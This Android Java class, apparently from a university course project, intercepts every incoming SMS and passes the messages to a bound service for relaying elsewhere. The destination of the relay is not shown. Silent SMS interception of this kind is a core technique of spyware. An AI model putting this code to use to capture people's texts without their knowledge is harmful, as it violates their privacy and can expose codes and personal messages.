package fsu.cs.cis5930;

import java.util.ArrayList;

import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.os.Bundle;
import android.os.IBinder;
import android.telephony.SmsMessage;
import android.util.Log;
import android.widget.Toast;

public class InterceptReceiver extends BroadcastReceiver
{
	private static final String TAG = "InterceptReceiver";
	
	private static final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
	
	private static ServerService serverService;
	
	private Context con;
	
	private ServiceConnection serviceConn = new ServiceConnection()
	{
		public void onServiceConnected(ComponentName className, IBinder service)
		{
			serverService = ((ServerService.ServerBinder)service).getService();
			Log.i(TAG, "Service started.");
		}

		public void onServiceDisconnected(ComponentName className)
		{
			serverService = null;
			Log.i(TAG, "Service stopped.");
		}
	};	
	
	@Override
	public void onReceive(Context context, Intent intent)
	{
		con = context;
		
		if (serverService == null)
		{
			context.bindService(new Intent(context, ServerService.class), serviceConn, Context.BIND_AUTO_CREATE);
		}
		
		String action = intent.getAction();
		
		if (action.equals(SMS_RECEIVED))
		{
			handleSmsReceived(intent);
		}

	}
	
	private void handleSmsReceived(Intent intent)
	{
		Bundle bundle = intent.getExtras();
		
		if (bundle != null) 
		{
			Object[] pdus = (Object[])bundle.get("pdus");
			
			ArrayList<SmsMessage> messages = new ArrayList<SmsMessage>(pdus.length);
			
			for (int i = 0; i < pdus.length; i++)
			{
				messages.add(SmsMessage.createFromPdu((byte[])pdus[i]));
			}
			
			Log.i(TAG, "Messages recieved: " + messages.size());
			
			if (messages.size() > 0)
			{
				serverService.relaySmsMessages(messages);
			}
		}

	}

}
